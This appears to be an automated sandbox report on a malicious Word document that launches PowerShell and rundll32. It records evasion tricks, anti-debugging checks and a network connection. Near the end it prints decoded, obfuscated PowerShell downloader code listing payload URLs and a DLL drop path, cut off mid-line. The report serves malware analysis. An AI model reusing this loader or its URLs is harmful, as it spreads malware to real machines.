Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Contains long sleeps (>= 3 min)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2528

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Checks the free space of harddrives

Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation

Contains functionality to enumerate / list files inside a directory

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100272AB FindFirstFileExW,FindNextFileW,FindClose,		7_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10026EEF FindFirstFileExW,		7_2_10026EEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100272AB FindFirstFileExW,FindNextFileW,FindClose,		9_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10026EEF FindFirstFileExW,		9_2_10026EEF

Enumerates the file system

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: powershell.exe, 00000005.00000002.2100136032.00000000003D5000.00000004.00000020.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Queries a list of all running processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10001E91 Control_RunDLL,LoadLibraryA,LoadLibraryA,LoadLibraryA,_strlen,GetProcAddress,GetProcAddress,GetProcAddress,LdrFindResource_U,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrAccessResource,WriteFileGather,VirtualAlloc,MessageBoxA,

7_2_10001E91

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_1003B720 IsDebuggerPresent,

7_2_1003B720

Contains functionality to read the PEB

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10026594 mov eax, dword ptr fs:[00000030h]		7_2_10026594
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100265D7 mov eax, dword ptr fs:[00000030h]		7_2_100265D7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1002661A mov eax, dword ptr fs:[00000030h]		7_2_1002661A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001065E mov eax, dword ptr fs:[00000030h]		7_2_1001065E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10026675 mov eax, dword ptr fs:[00000030h]		7_2_10026675
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100106EC mov ecx, dword ptr fs:[00000030h]		7_2_100106EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1002673B mov eax, dword ptr fs:[00000030h]		7_2_1002673B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1002677F mov eax, dword ptr fs:[00000030h]		7_2_1002677F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100267C3 mov eax, dword ptr fs:[00000030h]		7_2_100267C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100267F4 mov eax, dword ptr fs:[00000030h]		7_2_100267F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_001DC4FF mov eax, dword ptr fs:[00000030h]		7_2_001DC4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0021C4FF mov eax, dword ptr fs:[00000030h]		8_2_0021C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10026594 mov eax, dword ptr fs:[00000030h]		9_2_10026594
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100265D7 mov eax, dword ptr fs:[00000030h]		9_2_100265D7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1002661A mov eax, dword ptr fs:[00000030h]		9_2_1002661A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001065E mov eax, dword ptr fs:[00000030h]		9_2_1001065E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10026675 mov eax, dword ptr fs:[00000030h]		9_2_10026675
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100106EC mov ecx, dword ptr fs:[00000030h]		9_2_100106EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1002673B mov eax, dword ptr fs:[00000030h]		9_2_1002673B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1002677F mov eax, dword ptr fs:[00000030h]		9_2_1002677F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100267C3 mov eax, dword ptr fs:[00000030h]		9_2_100267C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100267F4 mov eax, dword ptr fs:[00000030h]		9_2_100267F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0020C4FF mov eax, dword ptr fs:[00000030h]		9_2_0020C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_0032C4FF mov eax, dword ptr fs:[00000030h]		10_2_0032C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0024C4FF mov eax, dword ptr fs:[00000030h]		11_2_0024C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_002EC4FF mov eax, dword ptr fs:[00000030h]		12_2_002EC4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0032C4FF mov eax, dword ptr fs:[00000030h]		13_2_0032C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_001AC4FF mov eax, dword ptr fs:[00000030h]		14_2_001AC4FF

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_1000288D GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,VirtualAlloc,und_memcpy,SetLastError,SetLastError,

7_2_1000288D

Enables debug privileges

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Contains functionality to register its own exception handler

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10003EE0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		7_2_10003EE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10004076 SetUnhandledExceptionFilter,		7_2_10004076
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1000E144 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		7_2_1000E144
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10004171 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		7_2_10004171
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10003EE0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		9_2_10003EE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10004076 SetUnhandledExceptionFilter,		9_2_10004076
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1000E144 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		9_2_1000E144
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10004171 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		9_2_10004171

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 152.170.79.100 80

Encrypted powershell cmdline option found

Source: unknown	Process created: Base64 decoded set-vaRIabLe 8ye ([tYpE]("{0}{2}{4}{3}{1}"-F'sYstE','rY','M.','EcTO','IO.dIR') ) ; Sv ("p"+"lt") ( [Type]("{4}{6}{5}{1}{0}{3}{7}{2}" -f'E','VIc','manaGEr','p','syste','R','m.nET.se','oiNt') ) ; $ErrorActionPreference = ('S'+('i'+'le')+'nt'+('l'+'yC')+('o'+'ntinu'+'e'));$Zy9324r=$X70H + [char](64) + $H68S;$T66F=('K7'+'4U'); (gET-vARiAblE 8YE ).valUe::"cR`eA`TeDIrEc`ToRy"($HOME + (('{0}Jxk'+'4jr_{0'+'}D'+('hul'+'jgz')+'{0}') -F[cHAr]92));$X60M=('I7'+'_B'); ( VaRiablE ("P"+"Lt") ).vAlUE::"SecUritYPrOT`oc`Ol" = ('Tl'+('s1'+'2'));$F0_X=('E0'+'2P');$Zac2gws = (('D'+'71')+'J');$M3_A=(('U_'+'5')+'O');$Fage4gj=$HOME+((('eMq'+'Jxk4j'+'r')+('_eM'+'qDh')+('ulj'+'g')+'z'+('eM'+'q')) -rEpLAce ('e'+'Mq'),[cHAR]92)+$Zac2gws+(('.d'+'l')+'l');$L95G=(('R6'+'7')+'N');$Egz7mla=((']'+'e1r'+'[S')+(':/'+'/s')+('wi'+'f')+('tlo'+'g'+'isti')+'c'+'se'+('g.'+'c')+'o'+('m/'+'w')+'p'+('-ad'+'min/')+('VE'+'9h0')+'jj'+('/'+'@]')+('e1'+'r[S')+(':'+'//')+('sah'+'la-a'+'d.'+'com/w'+'p-con'+'t')+'en'+('t'+'/a/')+'@'+']e'+('1r['+'S:')+'/'+'/m'+('y'+'ph')+'a'+'m'+('j'+'ap')+('a'+'n.')+('com/'+'du'+'p-in')+'s'+'t'+'a'+('lle'+'r/d')+('b'+'/@]e')+('1r[Ss:'+'/'+'/')+'b'+'a'+('n'+'da')+('r'+'abb')+('ad'+'.c'+'o'+'m/wp')+('-'+'ad')+'m'+'i'+'n/'+('Lo'+'5kE')+('a/'+'@]e')+'1r'+('[S:/'+'/')+'n'+'g'+('re'+'h')+('ab.'+'biz/w')+('p-i'+'n'+'cl')+('u'+'des/'+'T')+('CWe'+'e')+('N/@'+']')+('e1'+'r')+'['+('Ss'+':/')+('/w'+'w'+'w.b')+('er'+'e')+'ke'+('t'+'sut')+'e'+('s'+'isatc')+'is'+'i'+'.c'+('om'+'/wp')+'-'+('
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded set-vaRIabLe 8ye ([tYpE]("{0}{2}{4}{3}{1}"-F'sYstE','rY','M.','EcTO','IO.dIR') ) ; Sv ("p"+"lt") ( [Type]("{4}{6}{5}{1}{0}{3}{7}{2}" -f'E','VIc','manaGEr','p','syste','R','m.nET.se','oiNt') ) ; $ErrorActionPreference = ('S'+('i'+'le')+'nt'+('l'+'yC')+('o'+'ntinu'+'e'));$Zy9324r=$X70H + [char](64) + $H68S;$T66F=('K7'+'4U'); (gET-vARiAblE 8YE ).valUe::"cR`eA`TeDIrEc`ToRy"($HOME + (('{0}Jxk'+'4jr_{0'+'}D'+('hul'+'jgz')+'{0}') -F[cHAr]92));$X60M=('I7'+'_B'); ( VaRiablE ("P"+"Lt") ).vAlUE::"SecUritYPrOT`oc`Ol" = ('Tl'+('s1'+'2'));$F0_X=('E0'+'2P');$Zac2gws = (('D'+'71')+'J');$M3_A=(('U_'+'5')+'O');$Fage4gj=$HOME+((('eMq'+'Jxk4j'+'r')+('_eM'+'qDh')+('ulj'+'g')+'z'+('eM'+'q')) -rEpLAce 